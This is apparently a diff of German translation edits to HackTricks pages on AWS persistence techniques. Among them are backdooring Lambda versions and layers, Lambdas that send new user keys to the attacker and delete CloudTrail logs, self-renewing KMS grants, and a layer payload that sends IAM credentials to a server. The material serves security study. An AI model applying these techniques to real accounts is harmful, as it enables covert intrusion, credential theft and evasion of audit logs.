### Repository-Richtlinie
@@ -41,11 +41,11 @@ aws ecr set-repository-policy \
}
```
> [!WARNING]
-> Beachten Sie, dass ECR erfordert, dass Benutzer **Berechtigungen** haben, um über eine IAM-Richtlinie **`ecr:GetAuthorizationToken`** API-Aufrufe zu tätigen, **bevor sie sich** bei einem Registry authentifizieren und Bilder aus einem Amazon ECR-Repository pushen oder pullen können.
+> Beachten Sie, dass ECR erfordert, dass Benutzer **Berechtigungen** haben, um Aufrufe an die **`ecr:GetAuthorizationToken`** API über eine IAM-Richtlinie **zu tätigen, bevor sie sich** bei einem Registry authentifizieren und Bilder aus einem Amazon ECR-Repository pushen oder pullen können.
### Registry-Richtlinie & Cross-Account-Replikation
-Es ist möglich, eine Registry in einem externen Konto automatisch zu replizieren, indem Sie die Cross-Account-Replikation konfigurieren, bei der Sie **das externe Konto** angeben müssen, in dem Sie die Registry replizieren möchten.
+Es ist möglich, eine Registry in einem externen Konto automatisch zu replizieren, indem man die Cross-Account-Replikation konfiguriert, wobei Sie **das externe Konto angeben** müssen, in dem Sie die Registry replizieren möchten.
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
index b9f0e76dd..5e58becd6 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
@@ -1,4 +1,4 @@
-# AWS - ECS Persistence
+# AWS - ECS Persistenz
{{#include ../../../banners/hacktricks-training.md}}
@@ -44,7 +44,7 @@ aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
}
]'
```
-### Backdoor-Container in einer bestehenden ECS-Task-Definition
+### Backdoor-Container in bestehender ECS-Task-Definition
> [!NOTE]
> TODO: Test
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
index 46e62f653..fce1ec3af 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
@@ -12,10 +12,10 @@ Für weitere Informationen siehe:
### Ressourcenschutzrichtlinie / Sicherheitsgruppen ändern
-Durch das Ändern der **Ressourcenschutzrichtlinie und/oder Sicherheitsgruppen** kannst du versuchen, deinen Zugriff auf das Dateisystem aufrechtzuerhalten.
+Durch das Ändern der **Ressourcenschutzrichtlinie und/oder Sicherheitsgruppen** können Sie versuchen, Ihren Zugriff auf das Dateisystem aufrechtzuerhalten.
### Zugriffspunkt erstellen
-Du könntest **einen Zugriffspunkt erstellen** (mit Root-Zugriff auf `/`), der von einem Dienst aus zugänglich ist, bei dem du **andere Persistenz** implementiert hast, um privilegierten Zugriff auf das Dateisystem zu behalten.
+Sie könnten **einen Zugriffspunkt erstellen** (mit Root-Zugriff auf `/`), der von einem Dienst aus zugänglich ist, bei dem Sie **andere Persistenz** implementiert haben, um privilegierten Zugriff auf das Dateisystem zu behalten.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
index 459f8100c..55c14811a 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
@@ -12,7 +12,7 @@ Für weitere Informationen siehe:
### Persistenz in der Instanz
-Um die Persistenz im AWS-Konto aufrechtzuerhalten, könnten einige **Persistenzmechanismen in der Instanz eingeführt werden** (Cron-Job, SSH-Schlüssel...), sodass der Angreifer darauf zugreifen und IAM-Rollen **Anmeldeinformationen aus dem Metadatenservice stehlen** kann.
+Um die Persistenz im AWS-Konto aufrechtzuerhalten, könnten einige **Persistenzmechanismen innerhalb der Instanz eingeführt werden** (Cron-Job, SSH-Schlüssel...), sodass der Angreifer darauf zugreifen und IAM-Rollen **Anmeldeinformationen aus dem Metadatenservice stehlen** kann.
### Hintertür in der Version
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
index 2263c4c2d..f6318df2b 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
@@ -1,4 +1,4 @@
-# AWS - IAM Persistence
+# AWS - IAM Persistenz
{{#include ../../../banners/hacktricks-training.md}}
@@ -10,7 +10,7 @@ Für weitere Informationen zugreifen:
../aws-services/aws-iam-enum.md
{{#endref}}
-### Häufige IAM-Persistenz
+### Häufige IAM Persistenz
- Erstellen Sie einen Benutzer
- Fügen Sie einen kontrollierten Benutzer einer privilegierten Gruppe hinzu
@@ -38,7 +38,7 @@ Sie könnten eine Vertrauensrichtlinie hinterlegen, um sie für eine von Ihnen k
```
### Backdoor-Policy-Version
-Geben Sie Administratorberechtigungen für eine Richtlinie in nicht ihrer letzten Version (die letzte Version sollte legitim aussehen), und weisen Sie dann diese Version der Richtlinie einem kontrollierten Benutzer/einer kontrollierten Gruppe zu.
+Geben Sie Administratorberechtigungen an eine Richtlinie in nicht ihrer letzten Version (die letzte Version sollte legitim aussehen), und weisen Sie diese Version der Richtlinie einem kontrollierten Benutzer/einer kontrollierten Gruppe zu.
### Backdoor / Identitätsanbieter erstellen
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
index d4100b652..9c247c232 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
@@ -1,4 +1,4 @@
-# AWS - KMS Persistence
+# AWS - KMS Persistenz
{{#include ../../../banners/hacktricks-training.md}}
@@ -12,15 +12,15 @@ Für weitere Informationen siehe:
### Zugriff über KMS-Richtlinien gewähren
-Ein Angreifer könnte die Berechtigung **`kms:PutKeyPolicy`** verwenden, um einem Benutzer unter seiner Kontrolle oder sogar einem externen Konto **Zugriff** auf einen Schlüssel zu **gewähren**. Siehe die [**KMS Privesc-Seite**](../aws-privilege-escalation/aws-kms-privesc.md) für weitere Informationen.
+Ein Angreifer könnte die Berechtigung **`kms:PutKeyPolicy`** verwenden, um **Zugriff** auf einen Schlüssel für einen Benutzer unter seiner Kontrolle oder sogar für ein externes Konto zu gewähren. Überprüfen Sie die [**KMS Privesc-Seite**](../aws-privilege-escalation/aws-kms-privesc.md) für weitere Informationen.
### Ewige Berechtigung
-Berechtigungen sind eine weitere Möglichkeit, einem Principal einige Berechtigungen über einen bestimmten Schlüssel zu gewähren. Es ist möglich, eine Berechtigung zu erteilen, die es einem Benutzer erlaubt, Berechtigungen zu erstellen. Darüber hinaus kann ein Benutzer mehrere Berechtigungen (sogar identische) über denselben Schlüssel haben.
+Grants sind eine weitere Möglichkeit, einem Principal einige Berechtigungen über einen bestimmten Schlüssel zu gewähren. Es ist möglich, einen Grant zu vergeben, der es einem Benutzer erlaubt, Grants zu erstellen. Darüber hinaus kann ein Benutzer mehrere Grants (sogar identische) über denselben Schlüssel haben.
-Daher ist es möglich, dass ein Benutzer 10 Berechtigungen mit allen Berechtigungen hat. Der Angreifer sollte dies ständig überwachen. Und wenn zu einem bestimmten Zeitpunkt 1 Berechtigung entfernt wird, sollten weitere 10 generiert werden.
+Daher ist es möglich, dass ein Benutzer 10 Grants mit allen Berechtigungen hat. Der Angreifer sollte dies ständig überwachen. Und wenn zu einem bestimmten Zeitpunkt 1 Grant entfernt wird, sollten weitere 10 generiert werden.
-(Wir verwenden 10 und nicht 2, um erkennen zu können, dass eine Berechtigung entfernt wurde, während der Benutzer noch einige Berechtigungen hat.)
+(Wir verwenden 10 und nicht 2, um erkennen zu können, dass ein Grant entfernt wurde, während der Benutzer weiterhin einige Grants hat.)
```bash
# To generate grants, generate 10 like this one
aws kms create-grant \
@@ -32,6 +32,6 @@ aws kms create-grant \
aws kms list-grants --key-id
```
> [!NOTE]
-> Ein Grant kann nur Berechtigungen von diesem geben: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
+> Ein Grant kann Berechtigungen nur von diesem geben: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
index 0fc858d44..70631ba46 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
@@ -1,4 +1,4 @@
-# AWS - Lambda Persistence
+# AWS - Lambda Persistenz
{{#include ../../../../banners/hacktricks-training.md}}
@@ -10,17 +10,17 @@ Für weitere Informationen siehe:
../../aws-services/aws-lambda-enum.md
{{#endref}}
-### Lambda Layer Persistence
+### Lambda Layer Persistenz
-Es ist möglich, **eine Schicht einzuführen/hintertüren, um beliebigen Code auszuführen**, wenn die Lambda stealthy ausgeführt wird:
+Es ist möglich, eine **Schicht einzuführen/hintertüren, um beliebigen Code auszuführen**, wenn die Lambda stealthy ausgeführt wird:
{{#ref}}
aws-lambda-layers-persistence.md
{{#endref}}
-### Lambda Extension Persistence
+### Lambda Erweiterungs-Persistenz
-Durch den Missbrauch von Lambda Layers ist es auch möglich, Erweiterungen zu missbrauchen und in der Lambda persistent zu bleiben, aber auch Anfragen zu stehlen und zu modifizieren.
+Durch den Missbrauch von Lambda Layers ist es auch möglich, Erweiterungen zu missbrauchen und in der Lambda zu persistieren, aber auch Anfragen zu stehlen und zu modifizieren.
{{#ref}}
aws-abusing-lambda-extensions.md
@@ -40,25 +40,25 @@ Auf diese Weise könnte ein Angreifer eine **hintertürige Version 1** und eine
-### Version Backdoor + API Gateway
+### Version Hintertür + API Gateway
-1. Kopiere den ursprünglichen Code der Lambda
-2. **Erstelle eine neue Version, die den** ursprünglichen Code hintertürt (oder nur mit bösartigem Code). Veröffentliche und **deploye diese Version** auf $LATEST
-1. Rufe das API-Gateway auf, das mit der Lambda verbunden ist, um den Code auszuführen
-3. **Erstelle eine neue Version mit dem ursprünglichen Code**, veröffentliche und deploye diese **Version** auf $LATEST.
+1. Kopieren Sie den ursprünglichen Code der Lambda
+2. **Erstellen Sie eine neue Version, die den ursprünglichen Code hintertürig macht** (oder nur mit bösartigem Code). Veröffentlichen und **setzen Sie diese Version** auf $LATEST
+1. Rufen Sie das API-Gateway auf, das mit der Lambda verbunden ist, um den Code auszuführen
+3. **Erstellen Sie eine neue Version mit dem ursprünglichen Code**, veröffentlichen und setzen Sie diese **Version** auf $LATEST.
1. Dies wird den hintertürigen Code in einer vorherigen Version verbergen
-4. Gehe zum API Gateway und **erstelle eine neue POST-Methode** (oder wähle eine andere Methode), die die hintertürige Version der Lambda ausführt: `arn:aws:lambda:us-east-1::function::1`
-1. Beachte das finale :1 der arn **das die Version der Funktion angibt** (Version 1 wird in diesem Szenario die hintertürige sein).
-5. Wähle die erstellte POST-Methode aus und wähle in Aktionen **`API bereitstellen`**
-6. Jetzt, wenn du **die Funktion über POST aufrufst, wird deine Hintertür** aktiviert
+4. Gehen Sie zum API Gateway und **erstellen Sie eine neue POST-Methode** (oder wählen Sie eine andere Methode), die die hintertürige Version der Lambda ausführt: `arn:aws:lambda:us-east-1::function::1`
+1. Beachten Sie das finale :1 der arn **das die Version der Funktion angibt** (Version 1 wird in diesem Szenario die hintertürige sein).
+5. Wählen Sie die erstellte POST-Methode aus und wählen Sie in Aktionen **`API bereitstellen`**
+6. Jetzt, wenn Sie **die Funktion über POST aufrufen, wird Ihre Hintertür** aufgerufen
-### Cron/Event-Aktuator
+### Cron/Ereignis-Aktuator
-Die Tatsache, dass du **Lambda-Funktionen ausführen kannst, wenn etwas passiert oder wenn etwas Zeit vergeht**, macht Lambda zu einer schönen und gängigen Möglichkeit, Persistenz zu erlangen und Erkennung zu vermeiden.\
-Hier sind einige Ideen, um deine **Präsenz in AWS stealthy zu gestalten, indem du Lambdas erstellst**.
+Die Tatsache, dass Sie **Lambda-Funktionen ausführen können, wenn etwas passiert oder wenn etwas Zeit vergeht**, macht Lambda zu einer schönen und gängigen Möglichkeit, Persistenz zu erlangen und Erkennung zu vermeiden.\
+Hier sind einige Ideen, um Ihre **Präsenz in AWS stealthy zu gestalten, indem Sie Lambdas erstellen**.
- Jedes Mal, wenn ein neuer Benutzer erstellt wird, generiert Lambda einen neuen Benutzerschlüssel und sendet ihn an den Angreifer.
-- Jedes Mal, wenn eine neue Rolle erstellt wird, gewährt Lambda den kompromittierten Benutzern die Berechtigung, Rollen zu übernehmen.
-- Jedes Mal, wenn neue CloudTrail-Protokolle generiert werden, lösche/ändere sie.
+- Jedes Mal, wenn eine neue Rolle erstellt wird, gewährt Lambda die Berechtigung zur Annahme von Rollen an kompromittierte Benutzer.
+- Jedes Mal, wenn neue CloudTrail-Protokolle generiert werden, löschen/ändern Sie diese.
{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
index 7d606508d..33c610d5c 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
@@ -6,14 +6,14 @@
Lambda-Erweiterungen verbessern Funktionen, indem sie sich mit verschiedenen **Überwachungs-, Beobachtungs-, Sicherheits- und Governance-Tools** integrieren. Diese Erweiterungen, die über [.zip-Archive mit Lambda-Schichten](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) hinzugefügt oder in [Container-Image-Bereitstellungen](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/) enthalten sind, arbeiten in zwei Modi: **intern** und **extern**.
-- **Interne Erweiterungen** fusionieren mit dem Laufzeitprozess und manipulieren dessen Start mit **sprachspezifischen Umgebungsvariablen** und **Wrapper-Skripten**. Diese Anpassung gilt für eine Reihe von Laufzeiten, einschließlich **Java Correto 8 und 11, Node.js 10 und 12 sowie .NET Core 3.1**.
+- **Interne Erweiterungen** verschmelzen mit dem Laufzeitprozess und manipulieren dessen Start mit **sprachspezifischen Umgebungsvariablen** und **Wrapper-Skripten**. Diese Anpassung gilt für eine Reihe von Laufzeiten, einschließlich **Java Correto 8 und 11, Node.js 10 und 12 sowie .NET Core 3.1**.
- **Externe Erweiterungen** laufen als separate Prozesse und halten die Betriebsanpassung an den Lebenszyklus der Lambda-Funktion aufrecht. Sie sind mit verschiedenen Laufzeiten wie **Node.js 10 und 12, Python 3.7 und 3.8, Ruby 2.5 und 2.7, Java Corretto 8 und 11, .NET Core 3.1** und **benutzerdefinierten Laufzeiten** kompatibel.
Für weitere Informationen darüber, [**wie Lambda-Erweiterungen funktionieren, siehe die Dokumentation**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
### Externe Erweiterung für Persistenz, Stehlen von Anfragen & Modifizieren von Anfragen
-Dies ist eine Zusammenfassung der Technik, die in diesem Beitrag vorgeschlagen wird: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
+Dies ist eine Zusammenfassung der in diesem Beitrag vorgeschlagenen Technik: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
Es wurde festgestellt, dass der Standard-Linux-Kernel in der Lambda-Laufzeitumgebung mit den Systemaufrufen “**process_vm_readv**” und “**process_vm_writev**” kompiliert ist. Und alle Prozesse laufen mit derselben Benutzer-ID, selbst der neue Prozess, der für die externe Erweiterung erstellt wurde. **Das bedeutet, dass eine externe Erweiterung vollen Lese- und Schreibzugriff auf den Heap-Speicher von Rapid hat, per Design.**
@@ -23,16 +23,16 @@ Der Init (Rapid)-Prozess überwacht alle API-Anfragen unter [http://127.0.0.1:90
-Die Variable **`AWS_LAMBDA_RUNTIME_API`** gibt die **IP**-Adresse und die **Portnummer** der Rapid-API an **Kindlaufzeitprozesse** und zusätzliche Erweiterungen weiter.
+Die Variable **`AWS_LAMBDA_RUNTIME_API`** gibt die **IP**-Adresse und die **Portnummer** der Rapid-API an **untergeordnete Laufzeitprozesse** und zusätzliche Erweiterungen weiter.
> [!WARNING]
-> Durch Ändern der **`AWS_LAMBDA_RUNTIME_API`**-Umgebungsvariable auf einen **`Port`**, auf den wir Zugriff haben, ist es möglich, alle Aktionen innerhalb der Lambda-Laufzeit abzufangen (**Man-in-the-Middle**). Dies ist möglich, weil die Erweiterung mit denselben Berechtigungen wie Rapid Init läuft und der Kernel des Systems **Änderungen am Prozessspeicher** zulässt, was die Änderung der Portnummer ermöglicht.
+> Durch Ändern der **`AWS_LAMBDA_RUNTIME_API`**-Umgebungsvariable auf einen **`Port`**, auf den wir Zugriff haben, ist es möglich, alle Aktionen innerhalb der Lambda-Laufzeit abzufangen (**man-in-the-middle**). Dies ist möglich, weil die Erweiterung mit denselben Berechtigungen wie Rapid Init läuft und der Kernel des Systems **Änderungen am Prozessspeicher** zulässt, was die Änderung der Portnummer ermöglicht.
-Da **Erweiterungen vor jedem Laufzeitcode** ausgeführt werden, beeinflusst die Modifikation der Umgebungsvariable den Laufzeitprozess (z. B. Python, Java, Node, Ruby) beim Start. Darüber hinaus werden **nachfolgende Erweiterungen**, die auf dieser Variablen basieren, ebenfalls über unsere Erweiterung geleitet. Diese Konfiguration könnte Malware ermöglichen, Sicherheitsmaßnahmen oder Protokollierungserweiterungen direkt innerhalb der Laufzeitumgebung vollständig zu umgehen.
+Da **Erweiterungen vor jedem Laufzeitcode ausgeführt werden**, beeinflusst die Modifikation der Umgebungsvariable den Laufzeitprozess (z. B. Python, Java, Node, Ruby) beim Start. Darüber hinaus werden **nachfolgende Erweiterungen**, die auf dieser Variablen basieren, ebenfalls über unsere Erweiterung geleitet. Diese Konfiguration könnte Malware ermöglichen, Sicherheitsmaßnahmen oder Protokollierungserweiterungen direkt innerhalb der Laufzeitumgebung vollständig zu umgehen.
-Das Tool [**lambda-spy**](https://github.com/clearvector/lambda-spy) wurde entwickelt, um **Speicher zu schreiben** und **sensible Informationen** aus Lambda-Anfragen, anderen **Erweiterungsanfragen** zu stehlen und sie sogar **zu modifizieren**.
+Das Tool [**lambda-spy**](https://github.com/clearvector/lambda-spy) wurde entwickelt, um **Speicher zu schreiben** und **sensible Informationen** aus Lambda-Anfragen, anderen **Erweiterungsanfragen** und sogar **diese zu modifizieren**.
## Referenzen
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
index 91ad3b61a..bf0daf29b 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
@@ -18,15 +18,15 @@ Der Ladepfad, den Python in Lambda verwenden wird, ist der folgende:
```
['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']
```
-Überprüfen Sie, wie die **zweite** und dritte **Position** von Verzeichnissen eingenommen werden, in denen **Lambda-Schichten** ihre Dateien entpacken: **`/opt/python/lib/python3.9/site-packages`** und **`/opt/python`**
+Überprüfen Sie, wie die **zweite** und dritte **Position** von Verzeichnissen eingenommen werden, in denen **Lambda-Layer** ihre Dateien entpacken: **`/opt/python/lib/python3.9/site-packages`** und **`/opt/python`**
> [!CAUTION]
-> Wenn es einem Angreifer gelingt, eine verwendete Lambda **Schicht** zu **backdoor** oder eine hinzuzufügen, die **beliebigen Code ausführt, wenn eine gängige Bibliothek geladen wird**, kann er mit jedem Lambda-Aufruf bösartigen Code ausführen.
+> Wenn es einem Angreifer gelingt, einen verwendeten Lambda **Layer** zu **backdoor** oder einen hinzuzufügen, der **beliebigen Code ausführt, wenn eine gängige Bibliothek geladen wird**, kann er mit jeder Lambda-Aufruf bösartigen Code ausführen.
-Daher sind die Voraussetzungen:
+Daher sind die Anforderungen:
- **Überprüfen Sie Bibliotheken**, die vom Code der Opfer **geladen** werden
-- Erstellen Sie eine **Proxy-Bibliothek mit Lambda-Schichten**, die **benutzerdefinierten Code ausführt** und die **ursprüngliche** Bibliothek **lädt**.
+- Erstellen Sie eine **Proxy-Bibliothek mit Lambda-Layern**, die **benutzerdefinierten Code ausführt** und die **ursprüngliche** Bibliothek **lädt**.
### Vorgebundene Bibliotheken
@@ -34,7 +34,7 @@ Daher sind die Voraussetzungen:
> Bei der Ausnutzung dieser Technik stieß ich auf eine Schwierigkeit: Einige Bibliotheken sind **bereits geladen**, wenn Ihr Code ausgeführt wird. Ich erwartete, Dinge wie `os` oder `sys` zu finden, aber **sogar die `json`-Bibliothek war geladen**.\
> Um diese Persistenztechnik auszunutzen, muss der Code eine **neue Bibliothek laden, die nicht geladen ist**, wenn der Code ausgeführt wird.
-Mit einem Python-Code wie diesem ist es möglich, die **Liste der Bibliotheken, die vorab geladen sind**, im Python-Laufzeitumfeld in Lambda zu erhalten:
+Mit einem Python-Code wie diesem ist es möglich, die **Liste der Bibliotheken, die vorab geladen sind**, innerhalb der Python-Laufzeit in Lambda zu erhalten:
```python
import sys
@@ -83,11 +83,11 @@ import csv as _csv
sys.modules["csv"] = _csv
```
-Dann erstellen Sie ein Zip mit diesem Code im Pfad **`python/lib/python3.9/site-packages/__init__.py`** und fügen Sie es als Lambda-Schicht hinzu.
+Erstellen Sie dann eine Zip-Datei mit diesem Code im Pfad **`python/lib/python3.9/site-packages/__init__.py`** und fügen Sie sie als Lambda-Schicht hinzu.
Sie finden diesen Code unter [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor)
-Die integrierte Payload wird **die IAM-Credentials an einen Server SENDEN, BEIM ERSTEN AUFRUF oder NACH EINEM RESET DES LAMBDA-Containers** (Änderung des Codes oder kaltes Lambda) senden, aber **andere Techniken** wie die folgenden könnten ebenfalls integriert werden:
+Die integrierte Payload wird **die IAM-Credentials an einen Server senden, BEIM ERSTEN AUFRUF oder NACH einem Reset des Lambda-Containers** (Änderung des Codes oder kaltes Lambda), aber **andere Techniken** wie die folgenden könnten ebenfalls integriert werden:
{{#ref}}
../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
@@ -95,14 +95,14 @@ Die integrierte Payload wird **die IAM-Credentials an einen Server SENDEN, BEIM
### Externe Schichten
-Es ist zu beachten, dass es möglich ist, **Lambda-Schichten von externen Konten** zu verwenden. Darüber hinaus kann ein Lambda eine Schicht von einem externen Konto verwenden, auch wenn es keine Berechtigungen hat.\
+Es ist zu beachten, dass es möglich ist, **Lambda-Schichten aus externen Konten** zu verwenden. Darüber hinaus kann ein Lambda eine Schicht aus einem externen Konto verwenden, auch wenn es keine Berechtigungen hat.\
Es ist auch zu beachten, dass die **maximale Anzahl von Schichten, die ein Lambda haben kann, 5 beträgt**.
Daher könnte ein Angreifer, um die Vielseitigkeit dieser Technik zu verbessern:
-- Eine bestehende Schicht des Benutzers backdoor (nichts ist extern)
+- Eine bestehende Schicht des Benutzers kompromittieren (nichts ist extern)
- **Eine** **Schicht** in **seinem Konto** erstellen, dem **Opferkonto Zugriff** auf die Verwendung der Schicht gewähren, die **Schicht** im Lambda des Opfers **konfigurieren** und die **Berechtigung entfernen**.
-- Das **Lambda** wird weiterhin in der Lage sein, die **Schicht** zu **verwenden**, und das **Opfer wird** keine einfache Möglichkeit haben, den **Code der Schichten herunterzuladen** (außer durch den Erhalt einer Rev-Shell innerhalb des Lambdas).
+- Das **Lambda** wird weiterhin in der Lage sein, die **Schicht** zu **verwenden**, und das **Opfer wird** keine einfache Möglichkeit haben, den **Code der Schichten herunterzuladen** (außer durch den Erhalt einer Reverse-Shell im Lambda).
- Das Opfer **wird keine externen Schichten** sehen, die mit **`aws lambda list-layers`** verwendet werden.
```bash
# Upload backdoor layer
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
index 82a98122b..1967f3b96 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
@@ -26,7 +26,7 @@ Ein Angreifer könnte Zugriff auf die Instanzen erhalten und sie mit einer Hinte
Wenn Domains konfiguriert sind:
-- Erstellen Sie eine Subdomain, die auf Ihre IP zeigt, sodass Sie eine **subdomain takeover** haben
+- Erstellen Sie eine Subdomain, die auf Ihre IP zeigt, sodass Sie eine **Subdomain-Übernahme** haben
- Erstellen Sie einen **SPF**-Eintrag, der es Ihnen ermöglicht, **E-Mails** von der Domain zu senden
- Konfigurieren Sie die **Hauptdomain-IP auf Ihre eigene** und führen Sie einen **MitM** von Ihrer IP zu den legitimen durch
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
index dd42f1a84..29f54a864 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
@@ -18,7 +18,7 @@ aws rds modify-db-instance --db-instance-identifier target-instance --publicly-a
```
### Erstellen Sie einen Admin-Benutzer in der DB
-Ein Angreifer könnte einfach **einen Benutzer in der DB erstellen**, sodass er, selbst wenn das Passwort des Master-Benutzers geändert wird, **den Zugriff** auf die Datenbank **nicht verliert**.
+Ein Angreifer könnte einfach **einen Benutzer in der DB erstellen**, sodass selbst wenn das Passwort des Master-Benutzers geändert wird, er **den Zugriff** auf die Datenbank **nicht verliert**.
### Snapshot öffentlich machen
```bash
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
index 91204de27..12d7b1388 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
@@ -1,4 +1,4 @@
-# AWS - S3 Persistence
+# AWS - S3 Persistenz
{{#include ../../../banners/hacktricks-training.md}}
@@ -10,13 +10,13 @@ Für weitere Informationen siehe:
../aws-services/aws-s3-athena-and-glacier-enum.md
{{#endref}}
-### KMS Client-Seitige Verschlüsselung
+### KMS Client-seitige Verschlüsselung
-Wenn der Verschlüsselungsprozess abgeschlossen ist, verwendet der Benutzer die KMS-API, um einen neuen Schlüssel zu generieren (`aws kms generate-data-key`), und er wird **den generierten verschlüsselten Schlüssel in den Metadaten** der Datei speichern ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)), sodass er beim Entschlüsseln diesen erneut mit KMS entschlüsseln kann:
+Wenn der Verschlüsselungsprozess abgeschlossen ist, verwendet der Benutzer die KMS-API, um einen neuen Schlüssel zu generieren (`aws kms generate-data-key`), und er **speichert den generierten verschlüsselten Schlüssel in den Metadaten** der Datei ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)), sodass er beim Entschlüsseln diesen erneut mit KMS entschlüsseln kann:
-Daher könnte ein Angreifer diesen Schlüssel aus den Metadaten abrufen und mit KMS (`aws kms decrypt`) entschlüsseln, um den Schlüssel zu erhalten, der zur Verschlüsselung der Informationen verwendet wurde. Auf diese Weise hat der Angreifer den Verschlüsselungsschlüssel, und wenn dieser Schlüssel zur Verschlüsselung anderer Dateien wiederverwendet wird, kann er ihn verwenden.
+Daher könnte ein Angreifer diesen Schlüssel aus den Metadaten abrufen und mit KMS (`aws kms decrypt`) entschlüsseln, um den Schlüssel zu erhalten, der zur Verschlüsselung der Informationen verwendet wurde. Auf diese Weise hat der Angreifer den Verschlüsselungsschlüssel, und wenn dieser Schlüssel wiederverwendet wird, um andere Dateien zu verschlüsseln, kann er ihn verwenden.
### Verwendung von S3 ACLs
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
index 55d47c018..1b9300431 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
@@ -1,4 +1,4 @@
-# AWS - Secrets Manager Persistence
+# AWS - Secrets Manager Persistenz
{{#include ../../../banners/hacktricks-training.md}}
@@ -12,11 +12,11 @@ Für weitere Informationen siehe:
### Über Ressourcenrichtlinien
